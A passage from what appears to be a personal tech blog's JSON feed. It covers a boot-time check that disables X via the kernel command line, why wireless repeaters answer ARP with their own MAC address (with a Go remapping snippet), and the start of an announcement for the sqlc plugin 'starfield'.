rel=\"noreferrer nofollow noopener\"\u003esystemd and the \u003ccode\u003esystemd.\u003c/code\u003e prefix\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eLet's go with \u003ccode\u003exorg.disable=1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe currently booted kernel command line can be obtained by reading the virtual file \u003ccode\u003e/proc/cmdline\u003c/code\u003e. There's no need to do any clever parsing, as X is enabled by default and detecting the presence of \u003ccode\u003exorg.disable=1\u003c/code\u003e (as a whole) is all that's needed. Using a regex with word boundaries (\u003ccode\u003e\\b\u003c/code\u003e) guarantees a precise match.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egrep -q \u003cspan class=\"s1\"\u003e\u0026#39;\\bxorg\\.disable=1\\b\u0026#39;\u003c/span\u003e /proc/cmdline \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nb\"\u003eexec\u003c/span\u003e startx\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eNow I can simply edit the kernel command line in the boot menu and add \u003ccode\u003exorg.disable=1\u003c/code\u003e to boot up without X and diagnose the issue, without having to get out that dusty archiso pen drive.\u003c/p\u003e\n\u003cp\u003eBut I'm sure this'll be the last time it happens, right?\u003c/p\u003e\n\u003cp\u003eRight?\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eIn this case it's nothing more than a mesa downgrade until the actual issue is fixed upstream.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2025-06-06T00:00:00Z"
    },
    {
      "id": "xDhm9jkt746USkZFMPGklg",
      "url": "https://textplain.org/repeaters",
      "title": "the limitations of wireless repeaters",
      "content_html": "\u003cp\u003eAt some point during the development of \u003ca href=\"https://github.com/crdx/lighthouse\" rel=\"noreferrer nofollow noopener\"\u003elighthouse\u003c/a\u003e, I bought a network repeater to extend the range of my home wireless network. It was soon after setting it up that I noticed it was doing something unexpected with ARP packets.\u003c/p\u003e\n\u003cp\u003eNone of the devices sitting behind the repeater responded to ARP requests. Or so it seemed. Some wiresharking later and it was clear that ARP responses from devices behind the repeater were all claiming to be from the same MAC address; that is, the MAC address of the repeater itself.\u003c/p\u003e\n\u003cp\u003eIt turns out this is simply how wireless repeaters work when they don't implement \u003cabbr title=\"Wireless Distribution System\"\u003eWDS\u003c/abbr\u003e or a mesh protocol like \u003ca href=\"https://en.wikipedia.org/wiki/Wi-Fi_Alliance#Wi-Fi_EasyMesh\" rel=\"noreferrer nofollow noopener\"\u003eEasyMesh\u003c/a\u003e, due to addressing limitations of \u003ca href=\"https://en.wikipedia.org/wiki/IEEE_802.11\" rel=\"noreferrer nofollow noopener\"\u003e802.11 frames\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eIn this limited mode, only 3 of the 4 available address fields are used. Their meaning depends on which direction the traffic is going. If we consider the case of a packet travelling from a wireless client (sitting behind the wireless repeater) to the Internet (via a physical router), then the 3 addresses correspond to the receiver (the AP, likely your router), the transmitter (the client NIC, your computer), and the final destination (router or gateway).\u003c/p\u003e\n\u003cp\u003eFor a client sitting behind a wireless repeater, there's no way for a packet to get to the router unless destined originally for the repeater and then passed on (with rewritten frame headers) as though it came from the repeater itself.\u003c/p\u003e\n\u003cp\u003eThis is known as \u003ca href=\"https://en.wikipedia.org/wiki/Proxy_ARP\" rel=\"noreferrer nofollow noopener\"\u003eProxy-ARP\u003c/a\u003e: the repeater answers ARP requests with its own MAC address for every device on its side of the network, ensuring that all subsequent unicast packets are sent directly to it. On receiving such a unicast packet, it rewrites the header again before handing the frame to the device.\u003c/p\u003e\n\u003cp\u003eThat was a highly simplified (perhaps oversimplified) explanation. For much more detail, check out this \u003ca href=\"https://www.networkacademy.io/ccna/wireless/802-11-frame-addressing\" rel=\"noreferrer nofollow noopener\"\u003edetailed overview of 802.11 frames\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe solution was quite simple in the end: we just needed to join the packet-rewriting party, at least in spirit. The only reasonable way I figured to achieve this was by statically mapping the IPs of the devices behind the repeater to their MAC addresses, then using that as a lookup when handling ARP responses.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003erepeaters\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eok\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enetutil\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nf\"\u003eParseMACList\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esettingR\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nf\"\u003eSourceMACAddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eok\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eslices\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nf\"\u003eContains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003erepeaters\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emacAddressStr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"nx\"\u003emappings\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emappingR\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nf\"\u003eMap\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eok\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emappings\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003eipAddressStr\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eok\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"nx\"\u003emacAddressStr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAs you can see in the snippet above, if the ARP response comes from a repeater, use the IP address to look up and swap out the MAC address for the mapped one.\u003c/p\u003e\n\u003cp\u003eHaving to maintain this mapping is unfortunate but, in my case at least, an acceptable tradeoff. The number of devices I have sitting behind the repeater is small (4) and I already use static IP addresses across the network, which rarely change.\u003c/p\u003e\n\u003cp\u003eAn interesting note about the \u003ca href=\"https://github.com/crdx/lighthouse/commit/1cca1735428127740b60f5704e3a5c1765675b47\" rel=\"noreferrer nofollow noopener\"\u003eoriginal commit\u003c/a\u003e is that the UI and CRUD logic takes up almost all of the changes, but the \u0026quot;real work\u0026quot; ends up being a mere 5 \u003cabbr title=\"source lines of code\"\u003esloc\u003c/abbr\u003e.\u003c/p\u003e\n",
      "date_published": "2025-05-20T00:00:00Z"
    },
    {
      "id": "PQlpysmfoFVaqtfk3jbVDw",
      "url": "https://textplain.org/starfield",
      "title": "get build-time sql safety with starfield",
      "content_html": "\u003cp\u003e\u003ca href=\"https://github.com/crdx/starfield\" rel=\"noreferrer nofollow noopener\"\u003estarfield\u003c/a\u003e v1.0.0 is now available.\u003c/p\u003e\n\u003cp\u003estarfield is an sqlc plugin based on \u003ca href=\"https://github.com/sqlc-dev/sqlc-gen-go\" rel=\"noreferrer nofollow noopener\"\u003esqlc-gen-go\u003c/a\u003e, the official Go plugin for sqlc.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://sqlc.dev\" rel=\"noreferrer nofollow noopener\"\u003esqlc\u003c/a\u003e is a great way to bring build-time safety to your database queries. You define your database structure in \u003cabbr title=\"Structured Query Language\"\u003eSQL\u003c/abbr\u003e and write your Business Logic™ queries in simple SQL files. These are then compiled into actual Go code under a \u003ccode\u003edb\u003c/code\u003e package which can be called like any other code.\u003c/p\u003e\n\u003cp\u003eBuild-time safety applies:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWhen you run \u003ccode\u003esqlc\u003c/code\u003e and it parses your database structure, migrations, and all defined queries. If you typo or reference a non-existent column, your build will fail.\u003c/li\u003e\n\u003cli\u003eWhen you build your Go program. If you've changed your database structure or queries without updating the code that calls them, your build will fail.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo, what was wrong with \u003ccode\u003esqlc-gen-go\u003c/code\u003e? Just that it didn't go far enough. I found myself swimming in queries whose existence was purely for \u003cabbr title=\"Create, Read, Update, Delete\"\u003eCRUD\u003c/abbr\u003e operations. These queries all followed the same pattern, and that meant that helper functions could be generated for them, too.\u003c/p\u003e\n\u003cp\u003eI knew it was going to be a challenge to maintain support for Postgres, a database engine I don't generally use, so I made the decision to remove support for it.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e I might regret that one day.\u003c/p\u003e\n\u003cp\u003eCompared to \u003ccode\u003esqlc-gen-go\u003c/code\u003e the most notable change is the generation of a set of lookup and CRUD methods for each table in the schema. These are available without the need to define any queries yourself.\u003c/p\u003e\n\u003cp\u003eTo illustrate, let's take the iconic sample table, authors. Given an \u003ccode\u003eauthors\u003c/code\u003e table with columns \u003ccode\u003eid\u003c/code\u003e, \u003ccode\u003edeleted_at\u003c/code\u003e, \u003ccode\u003ename\u003c/code\u003e, \u003ccode\u003eemail\u003c/code\u003e, and \u003ccode\u003ebirthdate\u003c/code\u003e, the following functions would be generated for creating and finding records:\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetAuthorTableStatus\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eTableStatus\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCreateAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorUnscoped\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthors\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorsUnscoped\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorsByName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorsByNameUnscoped\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorByName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorsByEmail\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorsByEmailUnscoped\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorByEmail\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorsByBirthdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eNull\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTime\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorsByBirthdateUnscoped\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eNull\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTime\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eFindAuthorByBirthdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTime\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAnd the following for managing an instance of \u003ccode\u003eAuthor\u003c/code\u003e\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e:\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eReload\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eDelete\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRestore\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 